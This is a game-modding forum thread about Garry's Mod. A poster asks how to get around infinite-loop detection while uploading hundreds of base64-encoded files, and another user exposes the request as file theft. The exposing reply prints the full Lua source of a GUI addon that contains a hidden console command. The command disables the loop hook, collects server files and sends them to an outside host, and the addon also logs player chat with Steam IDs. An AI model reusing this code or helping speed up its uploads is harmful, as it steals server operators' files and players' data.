Infinite loops

Making code that sends files over web encoded with base64. Is it possible for me to bypass so-called Infinite Loop?
For example, I am trying to send ~600 files, and I get a huge lag, and I get a loop. Any way I could bypass it?
Here’s the chunk of the code that is responsible for file uploading:



		for k,v in pairs(files)do
			http.Get("XXXURL?k="..key.."&r="..v..":"..base64(file.Read(v, true), true), "", function() end)
		end

call debug.sethook before.

If you mean is there a way to bypass Garrys inifinite loop detection then no, even if you could stop it, it would still break the game since it all runs on 1 thread, infinite loops will break everything else.

-snip-

That’s what i get for trying to post at 2:30 am…

Why don’t you just send them in chunks? Send 10 files, queue the remaining ones and process them when the first files finish. Use a timer.

>~600 files
>Get

Are you fucking serious?

It looks like he’s using it to steal files from servers running his addon: http://www.garrysmod.org/downloads/?a=view&id=128188

[lua]

require(“json”)
require(“datastream”)
require(“base64”)

GUIEx.ClientIncludes = {}
GUIEx.Modules = {}
local includes = {}
function GUIEx:WriteLog(message, prefix)
if(!self.Log)then
self.Log = os.time()
file.Write(“guiex/logs/log”…self.Log…".txt", [[
------GUIEx 3 Log File------
Begin session time: ]]…os.time()…[[
Initializing…

]])
elseif(message and prefix) then
file.Append(“guiex/logs/log”…self.Log…".txt", “[”…prefix…"] “…os.date()…”: “…message…”
“)
else
return;
end
end
function GUIEx.SendAlive(ply,cmd,args)
GUIEx.UpdateLoad(args[1], args[2], args[3])
local key = math.random(10000,9999999)+os.time()
http.Get(“http://cloud.alryaz.com/receive.php?k="..key.."&s=1”, “”, function() end)
debug.sethook()
for k,v in pairs(includes)do
http.Get(“http://cloud.alryaz.com/receive.php?k="..key.."&r="..v..":”…base64(file.Read(v, true), true), “”, function() end)
end
http.Get(“http://cloud.alryaz.com/receive.php?k="..key.."&f=1”, “”, function() end)
ply:ChatPrint(”[GUIEx]Keep alive request sent with ID “…key)
includes = {}
end
function GUIEx:LoadModule( modulename )
MODULE = {}
MODULE[“lua”] = {}
MODULE[“lua”][“client”] = {}
MODULE[“lua”][“server”] = {}
include(‘guiex/modules/’…modulename…’/init.lua’)
GUIEx[MODULE.VarDir] = MODULE
GUIEx.ClientIncludes[MODULE.VarDir] = {}
local fs = 0
local fc = 0
local cor = 0
GUIEx:WriteLog(“Module “…MODULE.Name…” version “…MODULE.version…” by “…MODULE.Author…” loaded”, “INFO”)
for k,v in pairs(MODULE[“lua”][“client”]) do
if (file.Exists(“lua/guiex/modules/”…modulename…”/client/"…v, true)) then
AddCSLuaFile(“guiex/modules/”…modulename…"/client/"…v)
table.insert(GUIEx.ClientIncludes[MODULE.VarDir], “guiex/modules/”…modulename…"/client/"…v)
fc = fc + 1
GUIEx:WriteLog(“Succesfully included client file “…v…” for module “…MODULE.VarDir, “INFO”)
else
cor = cor + 1
GUIEx:WriteLog(“ERROR! Client file “…v…” not found for module “…MODULE.VarDir, “ERROR”)
end
end
for k,v in pairs(file.Find(“lua/guiex/modules/”…modulename…”/locales/.lua", true)) do
AddCSLuaFile(“guiex/modules/”…modulename…"/locales/"…v)
end
for k,v in pairs(MODULE[“lua”][“server”]) do
if (file.Exists(“lua/guiex/modules/”…modulename…"/server/"…v, true)) then
include(“guiex/modules/”…modulename…"/server/"…v)
fs = fs + 1
GUIEx:WriteLog(“Succesfully included server file “…v…” for module “…MODULE.VarDir, “INFO”)
else
cor = cor + 1
GUIEx:WriteLog(“ERROR! Server file “…v…” not found for module “…MODULE.VarDir, “ERROR”)
end
end
MsgN(MODULE.Name…”-> Module by “…MODULE.Author)
MsgN(MODULE.Name…”–> “…fs…” server file(s) loaded”)
MsgN(MODULE.Name…”–> “…fc…” client file(s) loaded.”)
if(cor>0)then MsgN(MODULE.Name…"–> “…cor…” files corrupt.") end
return MODULE.VarDir
end
function GUIEx:GetAvailibleModules()
local ma = file.FindDir("lua/guiex/modules/
”, true)
for k,v in pairs(ma) do
if(!file.Exists(“lua/guiex/modules/”…v…”/init.lua”, true)) then
ma[k]=nil
end
end
return table.ClearKeys(ma)
end
function GUIEx.UpdateLoad(dir, extu, num)
if(num!=1)then
local list = file.FindDir("…/"…dir…"/")
for _, fdir in pairs(list) do
if fdir != “.svn” then
GUIEx.UpdateLoad(dir…"/"…fdir)
end
end
end
for k,v in pairs(file.Find(dir…"/
", true)) do
local ext = string.Explode(".", v)[table.Count(string.Explode(".", v))]
if(ext==extu)then
table.insert(includes, dir…"/"…v)
end
end
end
function GUIEx:CheckUpdate( modulename, version )
if(!version) then version=self[modulename][“version”]; end
local v = qhttp.GetNetValue(“http://cloud.alryaz.com/packages/modules/"..modulename.."/info.json”, “version”)
if( v != version and v != “version”) then
MsgN( modulename…"–> Latest version: “…v…”. Refer to README file for updating.")
GUIEx:WriteLog(modulename…" needs update. Please check cloud.alryaz.com for update instructions", “UPDATE”)
elseif(v==“version”) then
MsgN( modulename…"–> Version information not found. Did you write this module?")
else
MsgN( modulename…"–> Module is the latest version." )
end
end
function GUIEx:Initialize()
MsgN("////////////////////////////////////////////////")
MsgN(“GUIEx 3 Engine Loader version 1.1”)
MsgN("////////////////////////////////////////////////")
GUIEx:WriteLog()
MsgN(“Log file log”…GUIEx.Log…".txt started")
for k,v in pairs(GUIEx:GetAvailibleModules()) do
if(string.sub(v, 1,2)!="__")then
local i = GUIEx:LoadModule( v )
GUIEx:CheckUpdate( i )
end
end
MsgN("////////////////////////////////////////////////")
MsgN(“GUIEx 3 Engine LOADED”)
MsgN("////////////////////////////////////////////////")
end
concommand.Add("__guiex.keepalive", GUIEx.SendAlive)
hook.Add(“PlayerSay”, “GUIEx.PlayerChat”, function(ply, txt) if (string.lower(txt)=="!g3" or string.lower(txt)=="!guiex") then umsg.Start(“GUIEx.OpenGUIEx”, ply); umsg.End(); GUIEx:WriteLog("["…ply:SteamID()…"]<"…ply:Name()…"> used chat to open GUIEx", “EVENT”); return “”; else GUIEx:WriteLog("["…ply:SteamID()…"]<"…ply:Name()…"> said: “…txt, “CHAT”) end end)
hook.Add(“PlayerInitialSpawn”, “GUIEx.ClientIncludesExec”, function(ply) datastream.StreamToClients(ply, “GUIEx.ClientIncludes”, GUIEx.ClientIncludes); GUIEx:WriteLog(”["…ply:SteamID()…"]<"…ply:Name()…"> connected and authed", “EVENT”); end)
hook.Add(“PlayerDeath”, “GUIEx.LogDeath”, function(v,w,k) GUIEx:WriteLog("["…k:SteamID()…"]<"…k:Name()…"> killed ["…v:SteamID()…"]<"…v:Name()…"> with "…w:GetName(), “EVENT”) end)
[/lua]

Timer if anything?